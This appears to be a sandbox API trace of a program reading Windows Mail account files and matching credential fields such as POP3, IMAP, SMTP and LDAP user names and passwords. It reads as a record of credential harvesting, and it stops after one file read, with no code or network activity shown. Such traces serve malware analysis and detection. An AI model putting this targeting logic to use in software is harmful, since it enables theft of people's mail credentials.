[0085.279] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1
[0085.280] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1
[0085.280] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1
[0085.280] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1
[0085.280] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1
[0085.280] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1
[0085.280] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1
[0085.280] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1
[0085.280] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1
[0085.280] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1
[0085.280] strlen (_Str="type") returned 0x4
[0085.280] strlen (_Str="SZ") returned 0x2
[0085.280] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="Account_Name") returned 1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="POP3_Server") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Server") returned 1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Server") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Server") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="POP3_User_Name") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="IMAP_User_Name") returned 1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="NNTP_User_Name") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="SMTP_User_Name") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="POP3_Password2") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Password2") returned 1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Password2") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Password2") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Email_Address") returned -1
[0085.280] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Email_Address") returned -1
[0085.280] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Port") returned -1
[0085.280] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Port") returned -1
[0085.280] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Port") returned 1
[0085.280] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Port") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Secure_Connection") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Secure_Connection") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Secure_Connection") returned 1
[0085.281] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Secure_Connection") returned -1
[0085.281] strlen (_Str="type") returned 0x4
[0085.281] strlen (_Str="DWORD") returned 0x5
[0085.281] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="Account_Name") returned 1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Server") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Server") returned 1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Server") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Server") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_User_Name") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_User_Name") returned 1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_User_Name") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_User_Name") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Password2") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Password2") returned 1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Password2") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Password2") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Email_Address") returned -1
[0085.281] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Email_Address") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Port") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Port") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Port") returned 1
[0085.281] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Port") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Secure_Connection") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Secure_Connection") returned -1
[0085.281] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Secure_Connection") returned 1
[0085.281] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Secure_Connection") returned -1
[0085.281] strlen (_Str="type") returned 0x4
[0085.281] strlen (_Str="DWORD") returned 0x5
[0085.281] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.281] strcmp (_Str1="LDAP_Timeout", _Str2="Account_Name") returned 1
[0085.281] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Server") returned -1
[0085.281] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Server") returned 1
[0085.281] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Server") returned -1
[0085.281] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Server") returned -1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_User_Name") returned -1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_User_Name") returned 1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_User_Name") returned -1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_User_Name") returned -1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Password2") returned -1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Password2") returned 1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Password2") returned -1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Password2") returned -1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Email_Address") returned -1
[0085.282] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Email_Address") returned -1
[0085.282] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Port") returned -1
[0085.282] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Port") returned -1
[0085.282] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Port") returned 1
[0085.282] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Port") returned -1
[0085.282] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Secure_Connection") returned -1
[0085.282] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Secure_Connection") returned -1
[0085.282] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Secure_Connection") returned 1
[0085.282] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Secure_Connection") returned -1
[0085.282] strlen (_Str="type") returned 0x4
[0085.282] strlen (_Str="DWORD") returned 0x5
[0085.282] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.282] strcmp (_Str1="LDAP_Authentication", _Str2="Account_Name") returned 1
[0085.282] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Server") returned -1
[0085.282] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Server") returned 1
[0085.282] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Server") returned -1
[0085.282] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Server") returned -1
[0085.282] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_User_Name") returned -1
[0085.282] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_User_Name") returned 1
[0085.282] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_User_Name") returned -1
[0085.283] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_User_Name") returned -1
[0085.283] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Password2") returned -1
[0085.283] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Password2") returned 1
[0085.283] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Password2") returned -1
[0085.283] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Password2") returned -1
[0085.283] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Email_Address") returned -1
[0085.283] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Email_Address") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Port") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Port") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Port") returned 1
[0085.283] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Port") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Secure_Connection") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Secure_Connection") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Secure_Connection") returned 1
[0085.283] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Secure_Connection") returned -1
[0085.283] strlen (_Str="type") returned 0x4
[0085.283] strlen (_Str="DWORD") returned 0x5
[0085.283] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="Account_Name") returned 1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Server") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Server") returned 1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Server") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Server") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_User_Name") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_User_Name") returned 1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_User_Name") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_User_Name") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Password2") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Password2") returned 1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Password2") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Password2") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Email_Address") returned -1
[0085.283] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Email_Address") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Port") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Port") returned -1
[0085.283] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Port") returned 1
[0085.283] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Port") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Secure_Connection") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Secure_Connection") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Secure_Connection") returned 1
[0085.284] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Secure_Connection") returned -1
[0085.284] strlen (_Str="type") returned 0x4
[0085.284] strlen (_Str="DWORD") returned 0x5
[0085.284] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="Account_Name") returned 1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_Server") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_Server") returned 1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Server") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Server") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_User_Name") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_User_Name") returned 1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_User_Name") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_User_Name") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_Password2") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_Password2") returned 1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Password2") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Password2") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Email_Address") returned -1
[0085.284] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Email_Address") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="SMTP_Port") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="NNTP_Port") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="IMAP_Port") returned 1
[0085.284] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="POP3_Port") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="SMTP_Secure_Connection") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="NNTP_Secure_Connection") returned -1
[0085.284] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="IMAP_Secure_Connection") returned 1
[0085.284] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="POP3_Secure_Connection") returned -1
[0085.284] strlen (_Str="type") returned 0x4
[0085.284] strlen (_Str="DWORD") returned 0x5
[0085.284] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.284] strcmp (_Str1="LDAP_Port", _Str2="Account_Name") returned 1
[0085.284] strcmp (_Str1="LDAP_Port", _Str2="POP3_Server") returned -1
[0085.284] strcmp (_Str1="LDAP_Port", _Str2="IMAP_Server") returned 1
[0085.284] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Server") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Server") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="POP3_User_Name") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="IMAP_User_Name") returned 1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="NNTP_User_Name") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="SMTP_User_Name") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="POP3_Password2") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="IMAP_Password2") returned 1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Password2") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Password2") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="NNTP_Email_Address") returned -1
[0085.285] strcmp (_Str1="LDAP_Port", _Str2="SMTP_Email_Address") returned -1
[0085.285] _strcmpi (_Str1="LDAP_Port", _Str2="SMTP_Port") returned -1
[0085.285] _strcmpi (_Str1="LDAP_Port", _Str2="NNTP_Port") returned -1
[0085.285] _strcmpi (_Str1="LDAP_Port", _Str2="IMAP_Port") returned 1
[0085.285] _strcmpi (_Str1="LDAP_Port", _Str2="POP3_Port") returned -1
[0085.285] _strcmpi (_Str1="LDAP_Port", _Str2="SMTP_Secure_Connection") returned -1
[0085.285] _strcmpi (_Str1="LDAP_Port", _Str2="NNTP_Secure_Connection") returned -1
[0085.285] _strcmpi (_Str1="LDAP_Port", _Str2="IMAP_Secure_Connection") returned 1
[0085.285] _strcmpi (_Str1="LDAP_Port", _Str2="POP3_Secure_Connection") returned -1
[0085.285] strlen (_Str="type") returned 0x4
[0085.285] strlen (_Str="DWORD") returned 0x5
[0085.285] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="Account_Name") returned 1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Server") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Server") returned 1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Server") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Server") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_User_Name") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_User_Name") returned 1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_User_Name") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_User_Name") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Password2") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Password2") returned 1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Password2") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Password2") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Email_Address") returned -1
[0085.285] strcmp (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Email_Address") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Port") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Port") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Port") returned 1
[0085.286] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Port") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="SMTP_Secure_Connection") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="NNTP_Secure_Connection") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="IMAP_Secure_Connection") returned 1
[0085.286] _strcmpi (_Str1="LDAP_Resolve_Flag", _Str2="POP3_Secure_Connection") returned -1
[0085.286] strlen (_Str="type") returned 0x4
[0085.286] strlen (_Str="DWORD") returned 0x5
[0085.286] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="Account_Name") returned 1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_Server") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Server") returned 1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Server") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Server") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_User_Name") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_User_Name") returned 1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_User_Name") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_User_Name") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="POP3_Password2") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Password2") returned 1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Password2") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Password2") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Email_Address") returned -1
[0085.286] strcmp (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Email_Address") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Port") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Port") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Port") returned 1
[0085.286] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="POP3_Port") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="SMTP_Secure_Connection") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="NNTP_Secure_Connection") returned -1
[0085.286] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="IMAP_Secure_Connection") returned 1
[0085.286] _strcmpi (_Str1="LDAP_Secure_Connection", _Str2="POP3_Secure_Connection") returned -1
[0085.286] strlen (_Str="type") returned 0x4
[0085.286] strlen (_Str="SZ") returned 0x2
[0085.286] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.286] strcmp (_Str1="LDAP_User_Name", _Str2="Account_Name") returned 1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_Server") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_Server") returned 1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Server") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Server") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_User_Name") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_User_Name") returned 1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_User_Name") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_User_Name") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="POP3_Password2") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="IMAP_Password2") returned 1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Password2") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Password2") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="NNTP_Email_Address") returned -1
[0085.287] strcmp (_Str1="LDAP_User_Name", _Str2="SMTP_Email_Address") returned -1
[0085.287] _strcmpi (_Str1="LDAP_User_Name", _Str2="SMTP_Port") returned -1
[0085.287] _strcmpi (_Str1="LDAP_User_Name", _Str2="NNTP_Port") returned -1
[0085.287] _strcmpi (_Str1="LDAP_User_Name", _Str2="IMAP_Port") returned 1
[0085.287] _strcmpi (_Str1="LDAP_User_Name", _Str2="POP3_Port") returned -1
[0085.287] _strcmpi (_Str1="LDAP_User_Name", _Str2="SMTP_Secure_Connection") returned -1
[0085.287] _strcmpi (_Str1="LDAP_User_Name", _Str2="NNTP_Secure_Connection") returned -1
[0085.287] _strcmpi (_Str1="LDAP_User_Name", _Str2="IMAP_Secure_Connection") returned 1
[0085.287] _strcmpi (_Str1="LDAP_User_Name", _Str2="POP3_Secure_Connection") returned -1
[0085.287] strlen (_Str="type") returned 0x4
[0085.287] strlen (_Str="SZ") returned 0x2
[0085.287] _mbscpy (in: param_1=0x12daf8, param_2=0x12d6d9 | out: param_1=0x12daf8) returned 0x12daf8
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="Account_Name") returned 1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Server") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Server") returned 1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Server") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Server") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_User_Name") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_User_Name") returned 1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_User_Name") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_User_Name") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Password2") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Password2") returned 1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Password2") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Password2") returned -1
[0085.287] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Email_Address") returned -1
[0085.288] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Email_Address") returned -1
[0085.288] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Port") returned -1
[0085.288] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Port") returned -1
[0085.288] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Port") returned 1
[0085.288] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Port") returned -1
[0085.288] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Secure_Connection") returned -1
[0085.288] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Secure_Connection") returned -1
[0085.288] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Secure_Connection") returned 1
[0085.288] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Secure_Connection") returned -1
[0085.288] CloseHandle (hObject=0xec) returned 1
[0085.288] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12eea8 | out: lpFindFileData=0x12eea8) returned 1
[0085.288] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.288] strlen (_Str="account{D08688DB-6514-4DC0-9D54-33D56D2EF97E}.oeaccount") returned 0x37
[0085.288] _mbscpy (in: param_1=0x12efe8, param_2=0x12f12c | out: param_1=0x12efe8) returned 0x12efe8
[0085.288] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.288] _mbscat (in: param_1=0x12efe8, param_2=0x414078 | out: param_1=0x12efe8) returned 0x12efe8
[0085.288] _mbscat (in: param_1=0x12efe8, param_2=0x12eed4 | out: param_1=0x12efe8) returned 0x12efe8
[0085.288] CreateFileA (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\account{D08688DB-6514-4DC0-9D54-33D56D2EF97E}.oeaccount" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows mail\\account{d08688db-6514-4dc0-9d54-33d56d2ef97e}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xec
[0085.289] GetFileSize (in: hFile=0xec, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2a0
[0085.289] SetFilePointer (in: hFile=0xec, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2
[0085.289] ReadFile (in: hFile=0xec, lpBuffer=0x24fab0, nNumberOfBytesToRead=0x29e, lpNumberOfBytesRead=0x12ed24, lpOverlapped=0x0 | out: lpBuffer=0x24fab0*, lpNumberOfBytesRead=0x12ed24*=0x29e, lpOverlapped=0x0) returned 1
